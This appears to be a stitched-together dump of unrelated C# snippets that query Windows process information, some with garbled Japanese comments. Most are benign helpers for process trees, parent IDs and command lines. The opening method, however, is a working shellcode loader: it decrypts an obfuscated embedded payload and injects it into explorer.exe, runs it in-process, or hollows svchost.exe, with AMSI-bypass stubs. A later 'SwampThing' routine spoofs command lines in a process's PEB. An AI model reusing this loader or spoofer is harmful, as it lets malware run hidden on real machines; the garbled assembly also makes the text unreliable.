public static extern int ZwQueryInformationProcess(int ProcessHandle, PROCESS_INFORMATION_CLASS ProcessInformationClass, ref PROCESS_BASIC_INFORMATION ProcessInformation, int ProcessInformationLength, out int ReturnLength);
public static void Main(string[] args) { byte[] startcode = Properties.Resources.temp; //XOR Int32 key = 93252512; for (int i = 0; i < startcode.Length; i++) { startcode[i] = (byte)(((uint)startcode[i] ^ (key + i)) & 0xFF); } for (int i = 0; i < startcode.Length; i++) { startcode[i] = (byte)(((uint)startcode[i] - (i & 0xFF)) & 0xFF); } byte[] passBytes = Encoding.UTF8.GetBytes("This is the pass"); byte[] saltBytes = Encoding.UTF8.GetBytes("This is the salt"); byte[] result = AESDecryptBytes(startcode, passBytes, saltBytes); int size = result.Length; //Console.WriteLine("DEBUG:: " + size); //DEBUG //StringBuilder hex = new StringBuilder(result.Length * 2); //var each_line = 15; //var total_length = 0; //foreach (byte b in result) //{ // hex.AppendFormat("0x{0:x2},", b); // each_line = each_line - 1; // total_length = total_length + 1; // if (each_line == 0) // { // hex.Append("\n"); // each_line = 15; // } //} //Console.WriteLine("The payload (" + total_length + ") is:\n" + hex.ToString()); if (args[0] == "1") { //try inject Process[] expProc = Process.GetProcessesByName("explorer"); int pid = expProc[0].Id; IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); //PROCESS_ALL_ACCESS (0x001F0FFF) //dwProcessId == 4804 //bInheritHandle for child process IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x10000, 0x3000, 0x40); //PAGE_EXECUTE_READWRITE (0x40) //IntPtr.Zero == null, auto //MEM_COMMIT and MEM_RESERVE (0x3000) IntPtr outSize; WriteProcessMemory(hProcess, addr, result, result.Length, out outSize); IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); } else if (args[0] == "2") { //chain AMSI bypass //Amsi.Bypass(); //behavior hook //CreateProcessInternalW = (PCreateProcessInternalW)GetProcAddress(GetModuleHandle(L"KERNELBASE.dll"), "CreateProcessInternalW"); //CreateProcessInternalW = (PCreateProcessInternalW)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "CreateProcessInternalW"); //hookResult = installHook(CreateProcessInternalW, hookCreateProcessInternalW, 5); //start thread IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x10000, 0x3000, 0x40); Marshal.Copy(result, 0, addr, size); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); Console.WriteLine("Started ..."); WaitForSingleObject(hThread, 0xFFFF); Console.WriteLine("Exited ..."); } else if (args[0] == "3") { //hollowing STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi); PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); uint tmp = 0; IntPtr hProcess = pi.hProcess; ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10); byte[] addrBuf = new byte[IntPtr.Size]; IntPtr nRead = IntPtr.Zero; ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); byte[] data = new byte[0x200]; ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead); uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C); uint opthdr = e_lfanew_offset + 0x28; uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr); IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); WriteProcessMemory(hProcess, addressOfEntryPoint, result, result.Length, out nRead); ResumeThread(pi.hThread); } }
private void WindowsKillProcessTree() { Dictionary <int, int> processRelationship = new Dictionary <int, int>(); Trace.Info($"Scan all processes to find relationship between all processes."); foreach (Process proc in Process.GetProcesses()) { try { if (!proc.SafeHandle.IsInvalid) { PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int returnLength = 0; int queryResult = NtQueryInformationProcess(proc.SafeHandle.DangerousGetHandle(), PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Marshal.SizeOf(pbi), ref returnLength); if (queryResult == 0) // == 0 is OK { Trace.Verbose($"Process: {proc.Id} is child process of {pbi.InheritedFromUniqueProcessId}."); processRelationship[proc.Id] = (int)pbi.InheritedFromUniqueProcessId; } else { throw new Win32Exception(Marshal.GetLastWin32Error()); } } } catch (Exception ex) { // Ignore all exceptions, since KillProcessTree is best effort. Trace.Verbose("Ignore any catched exception during detecting process relationship."); Trace.Verbose(ex.ToString()); } } Trace.Verbose($"Start killing process tree of process '{_proc.Id}'."); Stack <ProcessTerminationInfo> processesNeedtoKill = new Stack <ProcessTerminationInfo>(); processesNeedtoKill.Push(new ProcessTerminationInfo(_proc.Id, false)); while (processesNeedtoKill.Count() > 0) { ProcessTerminationInfo procInfo = processesNeedtoKill.Pop(); List <int> childProcessesIds = new List <int>(); if (!procInfo.ChildPidExpanded) { Trace.Info($"Find all child processes of process '{procInfo.Pid}'."); childProcessesIds = processRelationship.Where(p => p.Value == procInfo.Pid).Select(k => k.Key).ToList(); } if (childProcessesIds.Count > 0) { Trace.Info($"Need kill all child processes trees before kill process '{procInfo.Pid}'."); processesNeedtoKill.Push(new ProcessTerminationInfo(procInfo.Pid, true)); foreach (var childPid in childProcessesIds) { Trace.Info($"Child process '{childPid}' needs be killed first."); processesNeedtoKill.Push(new ProcessTerminationInfo(childPid, false)); } } else { Trace.Info($"Kill process '{procInfo.Pid}'."); try { Process leafProcess = Process.GetProcessById(procInfo.Pid); try { leafProcess.Kill(); } catch (InvalidOperationException ex) { // The process has already exited Trace.Error("Ignore InvalidOperationException during Process.Kill()."); Trace.Error(ex); } catch (Win32Exception ex) when(ex.NativeErrorCode == 5) { // The associated process could not be terminated // The process is terminating // NativeErrorCode 5 means Access Denied Trace.Error("Ignore Win32Exception with NativeErrorCode 5 during Process.Kill()."); Trace.Error(ex); } catch (Exception ex) { // Ignore any additional exception Trace.Error("Ignore additional exceptions during Process.Kill()."); Trace.Error(ex); } } catch (ArgumentException ex) { // process already gone, nothing needs killed. Trace.Error("Ignore ArgumentException during Process.GetProcessById()."); Trace.Error(ex); } catch (Exception ex) { // Ignore any additional exception Trace.Error("Ignore additional exceptions during Process.GetProcessById()."); Trace.Error(ex); } } } }
static extern int NtQueryInformationProcess(IntPtr hProcess, /*PROCESSINFOCLASS*/ int pic, out PROCESS_BASIC_INFORMATION pbi, int cb, out int pSize);
public static int GetParentProcessId(int PID) { int ParentID = 0; try { IntPtr hProcess = OpenProcess(eDesiredAccess.PROCESS_QUERY_INFORMATION, false, PID); if (hProcess != IntPtr.Zero) { PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int pSize = 0; if (-1 != NtQueryInformationProcess(hProcess, PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, pbi.Size, ref pSize)) { ParentID = pbi.InheritedFromUniqueProcessId; } CloseHandle(hProcess); } } catch (Exception e) { throw new InvalidOperationException(String.Format("ProcessHelper:\nError in GetParentProcessId(): {0}", e.Message)); } return (ParentID); }
private static extern int NtQueryInformationProcess( IntPtr hProcess, int processInformationClass /* 0 */, ref PROCESS_BASIC_INFORMATION processBasicInformation, uint processInformationLength, out uint returnLength);
static extern int NtQueryInformationProcess( IntPtr hProcess, PROCESSINFOCLASS pic, out PROCESS_BASIC_INFORMATION pbi, int processInformationLength, out int returnLength);
private static extern int NtQueryInformationProcess(int hProcess, PROCESSINFOCLASS pic, ref PROCESS_BASIC_INFORMATION pbi, int cb, ref int pSize);
private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref PROCESS_BASIC_INFORMATION processInformation, int processInformationLength, out int returnLength);
private static string GetProcessParametersString(int processId, PebProcessParametersMember offsetType) { IntPtr handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, processId); if (handle == IntPtr.Zero) throw new Win32Exception(Marshal.GetLastWin32Error()); try { bool isTargetWow64Process = Is64BitChecker.IsWow64Process(handle); bool isTarget64BitProcess = Environment.Is64BitOperatingSystem && !isTargetWow64Process; long processParametersOffset = GetProcessParametersOffset(isTarget64BitProcess); long offset = GetProcessParametersMemberOffset(offsetType, isTarget64BitProcess); if (isTargetWow64Process) { IntPtr peb32 = new IntPtr(); int hr = NtQueryInformationProcess(handle, (int)PROCESSINFOCLASS.ProcessWow64Information, ref peb32, IntPtr.Size, IntPtr.Zero); if (hr != 0) throw new Win32Exception(hr); long pebAddress = peb32.ToInt64(); IntPtr pp = new IntPtr(); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + processParametersOffset), ref pp, new IntPtr(Marshal.SizeOf(pp)), IntPtr.Zero)) throw new Win32Exception(Marshal.GetLastWin32Error()); UNICODE_STRING_32 us = new UNICODE_STRING_32(); if (!ReadProcessMemory(handle, new IntPtr(pp.ToInt64() + offset), ref us, new IntPtr(Marshal.SizeOf(us)), IntPtr.Zero)) throw new Win32Exception(Marshal.GetLastWin32Error()); if ((us.Buffer == 0) || (us.Length == 0)) return null; string s = new string('\0', us.Length / 2); if (!ReadProcessMemory(handle, new IntPtr(us.Buffer), s, new IntPtr(us.Length), IntPtr.Zero)) throw new Win32Exception(Marshal.GetLastWin32Error()); return s; } else { PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int hr = NtQueryInformationProcess(handle, (int)PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Marshal.SizeOf(pbi), IntPtr.Zero); if (hr != 0) throw new Win32Exception(hr); long pebAddress = pbi.PebBaseAddress.ToInt64(); IntPtr pp = new IntPtr(); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + processParametersOffset), ref pp, new IntPtr(Marshal.SizeOf(pp)), IntPtr.Zero)) throw new Win32Exception(Marshal.GetLastWin32Error()); UNICODE_STRING us = new UNICODE_STRING(); if (!ReadProcessMemory(handle, new IntPtr((long)pp + offset), ref us, new IntPtr(Marshal.SizeOf(us)), IntPtr.Zero)) throw new Win32Exception(Marshal.GetLastWin32Error()); if ((us.Buffer == IntPtr.Zero) || (us.Length == 0)) return null; string s = new string('\0', us.Length / 2); if (!ReadProcessMemory(handle, us.Buffer, s, new IntPtr(us.Length), IntPtr.Zero)) throw new Win32Exception(Marshal.GetLastWin32Error()); return s; } } finally { CloseHandle(handle); } }
/// <summary> /// Helper that returns the first process in the collection of system processes /// that is identified as a child of the specified process. /// </summary> public static Process FindFirstChildProcessOf(int subjectProcessId) { // Retrieve all processes on the system Process[] processes = Process.GetProcesses(); foreach (Process p in processes) { // Get some basic information about the process PROCESS_BASIC_INFORMATION processInfoB = new PROCESS_BASIC_INFORMATION(); try { uint bytesWritten; int ntStatus = NtQueryInformationProcess( p.Handle, 0, ref processInfoB, (uint)Marshal.SizeOf(processInfoB), out bytesWritten); // == 0 is OK if (0 != ntStatus) { // fail? continue; } // Is it a child process of the subject process? if (processInfoB.InheritedFromUniqueProcessId == subjectProcessId) { return p; } } catch (Exception /* ex */) { // Ignore, most likely 'Access Denied' } } return null; }
//public static string GetCommandLine(int processId) //{ // return null;// GetProcessParametersString(processId, Is64BitOperatingSystem ? 0x70 : 0x40); //} //public static string GetCommandLine(this Process process) //{ // if (process == null) // throw new ArgumentNullException("process"); // return GetCommandLine(process.Id); //} #endregion private static string GetProcessParametersString(int processId, PEB_OFFSET Offset) { IntPtr handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, processId); if (handle == IntPtr.Zero) { throw new Win32Exception(Marshal.GetLastWin32Error()); } bool IsWow64Process = Is64BitChecker.InternalCheckIsWow64(); bool IsTargetWow64Process = Is64BitChecker.GetProcessIsWow64(handle); bool IsTarget64BitProcess = Is64BitOperatingSystem && !IsTargetWow64Process; long offset = 0; long processParametersOffset = IsTarget64BitProcess ? 0x20 : 0x10; switch (Offset) { case PEB_OFFSET.CurrentDirectory: offset = IsTarget64BitProcess ? 0x38 : 0x24; break; case PEB_OFFSET.CommandLine: default: return(null); } try { long pebAddress = 0; if (IsTargetWow64Process) // OS : 64Bit, Cur : 32 or 64, Tar: 32bit { IntPtr peb32 = new IntPtr(); int hr = NtQueryInformationProcess(handle, (int)PROCESSINFOCLASS.ProcessWow64Information, ref peb32, IntPtr.Size, IntPtr.Zero); if (hr != 0) { throw new Win32Exception(hr); } pebAddress = peb32.ToInt64(); IntPtr pp = new IntPtr(); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + processParametersOffset), ref pp, new IntPtr(Marshal.SizeOf(pp)), IntPtr.Zero)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } UNICODE_STRING_32 us = new UNICODE_STRING_32(); if (!ReadProcessMemory(handle, new IntPtr(pp.ToInt64() + offset), ref us, new IntPtr(Marshal.SizeOf(us)), IntPtr.Zero)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } if ((us.Buffer == 0) || (us.Length == 0)) { return(null); } string s = new string('\0', us.Length / 2); if (!ReadProcessMemory(handle, new IntPtr(us.Buffer), s, new IntPtr(us.Length), IntPtr.Zero)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } return(s); } else if (IsWow64Process)//Os : 64Bit, Cur 32, Tar 64 { PROCESS_BASIC_INFORMATION_WOW64 pbi = new PROCESS_BASIC_INFORMATION_WOW64(); int hr = NtWow64QueryInformationProcess64(handle, (int)PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Marshal.SizeOf(pbi), IntPtr.Zero); if (hr != 0) { throw new Win32Exception(hr); } pebAddress = pbi.PebBaseAddress; long pp = 0; hr = NtWow64ReadVirtualMemory64(handle, pebAddress + processParametersOffset, ref pp, Marshal.SizeOf(pp), IntPtr.Zero); if (hr != 0) { throw new Win32Exception(hr); } UNICODE_STRING_WOW64 us = new UNICODE_STRING_WOW64(); hr = NtWow64ReadVirtualMemory64(handle, pp + offset, ref us, Marshal.SizeOf(us), IntPtr.Zero); if (hr != 0) { throw new Win32Exception(hr); } if ((us.Buffer == 0) || (us.Length == 0)) { return(null); } string s = new string('\0', us.Length / 2); hr = NtWow64ReadVirtualMemory64(handle, us.Buffer, s, us.Length, IntPtr.Zero); if (hr != 0) { throw new Win32Exception(hr); } return(s); } else// Os,Cur,Tar : 64 or 32 { PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int hr = NtQueryInformationProcess(handle, (int)PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Marshal.SizeOf(pbi), IntPtr.Zero); if (hr != 0) { throw new Win32Exception(hr); } pebAddress = pbi.PebBaseAddress.ToInt64(); IntPtr pp = new IntPtr(); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + processParametersOffset), ref pp, new IntPtr(Marshal.SizeOf(pp)), IntPtr.Zero)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } UNICODE_STRING us = new UNICODE_STRING(); if (!ReadProcessMemory(handle, new IntPtr((long)pp + offset), ref us, new IntPtr(Marshal.SizeOf(us)), IntPtr.Zero)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } if ((us.Buffer == IntPtr.Zero) || (us.Length == 0)) { return(null); } string s = new string('\0', us.Length / 2); if (!ReadProcessMemory(handle, us.Buffer, s, new IntPtr(us.Length), IntPtr.Zero)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } return(s); } } finally { CloseHandle(handle); } }
///<summary> /// Terminate a process tree ///</summary> ///<param name="hProcess">The handle of the process</param> ///<param name="processID">The ID of the process</param> ///<param name="exitCode">The exit code of the process</param> public static void TerminateProcessTree(IntPtr hProcess, uint processID, int exitCode) { // Retrieve all processes on the system Process[] processes = Process.GetProcesses(); foreach (Process p in processes) { // Get some basic information about the process PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); try { uint bytesWritten; NtQueryInformationProcess(p.Handle, 0, ref pbi, (uint) Marshal.SizeOf(pbi), out bytesWritten); // == 0 is OK // Is it a child process of the process we're trying to terminate? if ((int) pbi.InheritedFromUniqueProcessId == processID) // The terminate the child process and its child processes TerminateProcessTree(p.Handle, (uint) pbi.UniqueProcessId, exitCode); } catch (Exception /* ex */) { // Ignore, most likely 'Access Denied' } } // Finally, termine the process itself: TerminateProcess((uint) hProcess, exitCode); }
internal static int GetParentProcessId(int processId) { int inheritedFromUniqueProcessId = 0; SafeProcessHandle hProcess = OpenProcess(eDesiredAccess.PROCESS_QUERY_INFORMATION, false, processId); if (!hProcess.IsInvalid) { try { PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int pSize = 0; if (-1 != NtQueryInformationProcess(hProcess, PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, pbi.Size, ref pSize)) { inheritedFromUniqueProcessId = pbi.InheritedFromUniqueProcessId; } } finally { hProcess.Dispose(); } } return inheritedFromUniqueProcessId; }
public static extern UInt32 NtQueryInformationProcess( IntPtr processHandle, UInt32 processInformationClass, ref PROCESS_BASIC_INFORMATION processInformation, int processInformationLength, ref UInt32 returnLength);
/// <summary> /// ���v���Z�X�̃R�}���h���C���������擾���� /// </summary> /// <param name="i_Process">�v���Z�X�I�u�W�F�N�g</param> /// <returns>String �R�}���h���C��������</returns> public static System.String GetRemoteCommandLine( System.Diagnostics.Process i_Process ) { System.String a_CommandLine = ""; int ReadSize = 0; System.IntPtr a_hProcess = System.IntPtr.Zero; System.IntPtr a_Buffer = System.IntPtr.Zero; // �n���h���擾�Ɏ��s������I�� try { a_hProcess = i_Process.Handle; } catch( System.Exception ) { return ""; } try { // Get Process Basic Information PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); NtQueryInformationProcess( a_hProcess, PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Memory.SizeOf( pbi ), out ReadSize ); // Read PEB Memory Block PROCESS_ENVIRONMENT_BLOCK peb = new PROCESS_ENVIRONMENT_BLOCK(); a_Buffer = Marshal.AllocHGlobal( Memory.SizeOf( peb ) ); ReadProcessMemory( a_hProcess, pbi.PebBaseAddress, a_Buffer, Memory.SizeOf( peb ), out ReadSize ); peb = (PROCESS_ENVIRONMENT_BLOCK)Marshal.PtrToStructure( a_Buffer,peb.GetType() ); Marshal.FreeHGlobal( a_Buffer ); a_Buffer = System.IntPtr.Zero; // Read User Process Parameters USER_PROCESS_PARAMETERS upp = new USER_PROCESS_PARAMETERS(); a_Buffer = Marshal.AllocHGlobal( Memory.SizeOf( upp ) ); ReadProcessMemory( a_hProcess, peb.ProcessParameters, a_Buffer, Memory.SizeOf( upp ), out ReadSize ); upp = (USER_PROCESS_PARAMETERS)Marshal.PtrToStructure( a_Buffer, upp.GetType() ); Marshal.FreeHGlobal( a_Buffer ); a_Buffer = System.IntPtr.Zero; // CommandLine Option������ �擾 // �R�}���h���C���������Unicode�`���Ŋi�[����Ă���H if ( 0 < upp.CommandLine.Length ) { a_Buffer = Marshal.AllocHGlobal( upp.CommandLine.Length ); Memory.ZeroMemory( ref a_Buffer, (System.IntPtr)upp.CommandLine.Length ); ReadProcessMemory( a_hProcess, upp.CommandLine.buffer, a_Buffer, upp.CommandLine.Length, out ReadSize ); a_CommandLine = Marshal.PtrToStringUni( a_Buffer, upp.CommandLine.Length / System.Text.UnicodeEncoding.CharSize ); Marshal.FreeHGlobal( a_Buffer ); a_Buffer = System.IntPtr.Zero; } } catch ( System.Exception ) { // ��O�������͋�����Ԃ� a_CommandLine = ""; } finally { if ( a_Buffer != System.IntPtr.Zero ) { Marshal.FreeHGlobal( a_Buffer ); } a_Buffer = System.IntPtr.Zero; } return a_CommandLine; }
// Main logic public static void SpawnTheThing(String Launch, String RealCmdLine, String FakeCmdLine = "") { // Invoke all the checks RUNTIME_CHECK RunTime = CheckAllTheThings(Launch); if (RunTime.PePathIsValid == false) { Console.WriteLine("[!] Invalid PE path specified.."); return; } if (RunTime.PeArch == 0) { Console.WriteLine("[!] Invalid PE image.."); return; } if (RunTime.SwampIs32 && RunTime.PeArch == 0x020b || !RunTime.SwampIs32 && RunTime.PeArch == 0x010b) { Console.WriteLine("[!] SwampThing and target PE architectures do not match.."); return; } // Create the target process SecurityAttributes SecAttrib = new SecurityAttributes(); String CurrentDir = Directory.GetCurrentDirectory(); StartupInfo si = new StartupInfo(); ProcessInformation pi; bool bProc = CreateProcess(Launch, FakeCmdLine, SecAttrib, SecAttrib, false, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, CurrentDir, si, out pi); if (!bProc) { Console.WriteLine("[!] Process execution failed.."); return; } else { Console.WriteLine("[>] CreateProcess -> Suspended"); } // Get PBI PROCESS_BASIC_INFORMATION CallResult = PBI(pi.hProcess); if (CallResult.PebBaseAddress == IntPtr.Zero) { Console.WriteLine("[!] Failed to aquire PBI"); return; } else { if (RunTime.PeArch == 0x010b) { Console.WriteLine("[+] PE Arch : 32-bit"); } else { Console.WriteLine("[+] PE Arch : 64-bit"); } Console.WriteLine("[+] Process Id : " + CallResult.UniqueProcessId); Console.WriteLine("[+] PEB Base : 0x" + string.Format("{0:X}", (CallResult.PebBaseAddress).ToInt64())); } // Get PEB->(IntPtr)_RTL_USER_PROCESS_PARAMETERS->(UNICODE_STRING)CommandLine Int32 RTL_USER_PROCESS_PARAMETERS; Int32 CommandLine; Int32 ReadSize; if (RunTime.PeArch == 0x010b) { RTL_USER_PROCESS_PARAMETERS = 0x10; CommandLine = 0x40; ReadSize = 0x4; } else { RTL_USER_PROCESS_PARAMETERS = 0x20; CommandLine = 0x70; ReadSize = 0x8; } // We can't acquire a remote PEB lock so we sleep briefly System.Threading.Thread.Sleep(500); // 500ms // Read remote PEB offsets UInt64 ProcParams; IntPtr pProcParams = ReadRemoteMem(pi.hProcess, ((CallResult.PebBaseAddress).ToInt64() + RTL_USER_PROCESS_PARAMETERS), ReadSize); if (ReadSize == 0x4) { ProcParams = (UInt64)Marshal.ReadInt32(pProcParams); } else { ProcParams = (UInt64)Marshal.ReadInt64(pProcParams); } Console.WriteLine("[+] RTL_USER_PROCESS_PARAMETERS : 0x" + string.Format("{0:X}", ProcParams)); UInt64 CmdLineUnicodeStruct = ProcParams + (UInt64)CommandLine; Console.WriteLine("[+] CommandLine : 0x" + string.Format("{0:X}", CmdLineUnicodeStruct)); // Get current CommandLine -> UNICODE_STRING UNICODE_STRING CurrentCmdLineStruct = new UNICODE_STRING(); Int32 UniStructSize = Marshal.SizeOf(CurrentCmdLineStruct); IntPtr pCmdLineStruct = ReadRemoteMem(pi.hProcess, (Int64)CmdLineUnicodeStruct, UniStructSize); CurrentCmdLineStruct = (UNICODE_STRING)Marshal.PtrToStructure(pCmdLineStruct, typeof(UNICODE_STRING)); Console.WriteLine("[+] UNICODE_STRING |-> Len : " + CurrentCmdLineStruct.Length); Console.WriteLine(" |-> MaxLen : " + CurrentCmdLineStruct.MaximumLength); Console.WriteLine(" |-> pBuff : 0x" + string.Format("{0:X}", (UInt64)CurrentCmdLineStruct.Buffer)); // Create replacement CommandLine Console.WriteLine("\n[>] Rewrite -> RTL_USER_PROCESS_PARAMETERS"); // RTL_USER_PROCESS_PARAMETERS unicode string params String WinDir = Environment.GetEnvironmentVariable("windir"); IntPtr uSystemDir = EmitUnicodeString((WinDir + "\\System32")); IntPtr uLaunchPath = EmitUnicodeString(Launch); IntPtr uWindowName = EmitUnicodeString("SwampThing"); IntPtr uRealCmdLine = EmitUnicodeString(" " + RealCmdLine); // Create local RTL_USER_PROCESS_PARAMETERS IntPtr pProcessParams = IntPtr.Zero; uint RtlCreateSuccess = RtlCreateProcessParametersEx(ref pProcessParams, uLaunchPath, uSystemDir, uSystemDir, uRealCmdLine, IntPtr.Zero, uWindowName, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1); if (RtlCreateSuccess != 0) { Console.WriteLine("[!] Failed to create process parameters"); return; } else { Console.WriteLine("[+] RtlCreateProcessParametersEx : 0x" + string.Format("{0:X}", (UInt64)pProcessParams)); } // Remote map RTL_USER_PROCESS_PARAMETERS Int32 iProcessParamsSize = Marshal.ReadInt32((IntPtr)((Int64)pProcessParams + 4)); IntPtr pRemoteProcessParams = AllocRemoteMem(pi.hProcess, iProcessParamsSize, pProcessParams); Boolean bRemoteWriteSuccess = WriteRemoteMem(pi.hProcess, pProcessParams, pProcessParams, iProcessParamsSize, AllocationProtect.PAGE_READWRITE); if (bRemoteWriteSuccess) { Console.WriteLine("[+] RemoteAlloc : 0x" + string.Format("{0:X}", (UInt64)pRemoteProcessParams)); Console.WriteLine("[+] Size : " + iProcessParamsSize); } else { Console.WriteLine("[!] Failed to allocate custom RTL_USER_PROCESS_PARAMETERS"); return; } // Rewrite the process parameters pointer IntPtr pRewriteProcessParams = Marshal.AllocHGlobal(ReadSize); if (ReadSize == 0x4) { Marshal.WriteInt32(pRewriteProcessParams, (Int32)pProcessParams); } else { Marshal.WriteInt64(pRewriteProcessParams, (Int64)pProcessParams); } bRemoteWriteSuccess = WriteRemoteMem(pi.hProcess, pRewriteProcessParams, (IntPtr)((CallResult.PebBaseAddress).ToInt64() + RTL_USER_PROCESS_PARAMETERS), ReadSize, AllocationProtect.PAGE_READWRITE); if (bRemoteWriteSuccess) { Console.WriteLine("[?] Success, sleeping 500ms.."); } else { Console.WriteLine("[!] Failed to rewrite PEB->pProcessParameters"); return; } // Resume process UInt32 ResumeProc = ResumeThread(pi.hThread); System.Threading.Thread.Sleep(500); // Finally we rewrite the commandline to the fake value Console.WriteLine("\n[>] Reverting RTL_USER_PROCESS_PARAMETERS"); IntPtr uFakeCmdLine = EmitUnicodeString(" " + FakeCmdLine); Console.WriteLine("[+] Local UNICODE_STRING : 0x" + string.Format("{0:X}", (UInt64)uFakeCmdLine)); // Copy unicode buffer to remote process IntPtr pRemoteCmdLine = AllocRemoteMem(pi.hProcess, (Marshal.ReadInt16((IntPtr)((UInt64)uFakeCmdLine + 2)))); // MaxLength if (ReadSize == 0x4) { bRemoteWriteSuccess = WriteRemoteMem(pi.hProcess, (IntPtr)(Marshal.ReadInt32((IntPtr)((UInt64)uFakeCmdLine + 4))), pRemoteCmdLine, (Marshal.ReadInt16(uFakeCmdLine)), AllocationProtect.PAGE_READWRITE); } else { bRemoteWriteSuccess = WriteRemoteMem(pi.hProcess, (IntPtr)(Marshal.ReadInt64((IntPtr)((UInt64)uFakeCmdLine + 8))), pRemoteCmdLine, (Marshal.ReadInt16(uFakeCmdLine)), AllocationProtect.PAGE_READWRITE); } Console.WriteLine("[+] Remote UNICODE_STRING.Buffer : 0x" + string.Format("{0:X}", (UInt64)pRemoteCmdLine)); // Recalculate new RTL_USER_PROCESS_PARAMETERS pProcParams = ReadRemoteMem(pi.hProcess, ((CallResult.PebBaseAddress).ToInt64() + RTL_USER_PROCESS_PARAMETERS), ReadSize); if (ReadSize == 0x4) { ProcParams = (UInt64)Marshal.ReadInt32(pProcParams); } else { ProcParams = (UInt64)Marshal.ReadInt64(pProcParams); } Console.WriteLine("[+] pRTL_USER_PROCESS_PARAMETERS : 0x" + string.Format("{0:X}", ProcParams)); // Rewrite RTL_USER_PROCESS_PARAMETERS->CommandLine => Length, MaxLength, Buffer bRemoteWriteSuccess = WriteRemoteMem(pi.hProcess, uFakeCmdLine, (IntPtr)(ProcParams + (UInt32)CommandLine), 2, AllocationProtect.PAGE_READWRITE); bRemoteWriteSuccess = WriteRemoteMem(pi.hProcess, (IntPtr)((UInt64)uFakeCmdLine + 2), (IntPtr)(ProcParams + (UInt32)CommandLine + 2), 2, AllocationProtect.PAGE_READWRITE); IntPtr pRemoteBuff = Marshal.AllocHGlobal(8); if (ReadSize == 0x4) { Marshal.WriteInt32(pRemoteBuff, (Int32)pRemoteCmdLine); bRemoteWriteSuccess = WriteRemoteMem(pi.hProcess, pRemoteBuff, (IntPtr)(ProcParams + (UInt32)CommandLine + 4), 4, AllocationProtect.PAGE_READWRITE); } else { Marshal.WriteInt64(pRemoteBuff, (Int64)pRemoteCmdLine); bRemoteWriteSuccess = WriteRemoteMem(pi.hProcess, pRemoteBuff, (IntPtr)(ProcParams + (UInt32)CommandLine + 8), 8, AllocationProtect.PAGE_READWRITE); } Console.WriteLine("[?] Success rewrote Len, MaxLen, Buffer.."); }
public void StartAndStopLauncher() { Container1 = CreateContainer(Container1Handle); var pSpec = new ProcessSpec { ExecutablePath = @"cmd.exe", DisablePathMapping = true, Arguments = new string[] { "/C ping.exe 127.0.0.1 -n 1000" }, }; // START THE LONG RUNNING PROCESS var io = new StringProcessIO(); var process = Container1.Run(pSpec, io); int exitCode; bool exited = process.TryWaitForExit(500, out exitCode); // VERIFY IT HASNT EXITED YET Assert.False(exited); var actualProcess = Process.GetProcessById(process.Id); var childProcess = Process.GetProcesses().FirstOrDefault(x => { // Get some basic information about the process PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); try { uint bytesWritten; NtQueryInformationProcess(x.Handle, 0, ref pbi, (uint)Marshal.SizeOf(pbi), out bytesWritten); // == 0 is OK // Is it a child process of the process we're trying to terminate? return (int)pbi.InheritedFromUniqueProcessId == process.Id; } catch (Exception) { return false; } }); Assert.False(actualProcess.HasExited); Assert.False(childProcess.HasExited); // KILL THE PROCESS AND WAIT FOR EXIT process.Kill(); exited = process.TryWaitForExit(2000, out exitCode); // VERIFY THE PROCESS WAS KILLED Assert.True(exited); Assert.True(actualProcess.HasExited); Assert.True(childProcess.HasExited); Assert.True(io.Output.ToString().Length > 0); }
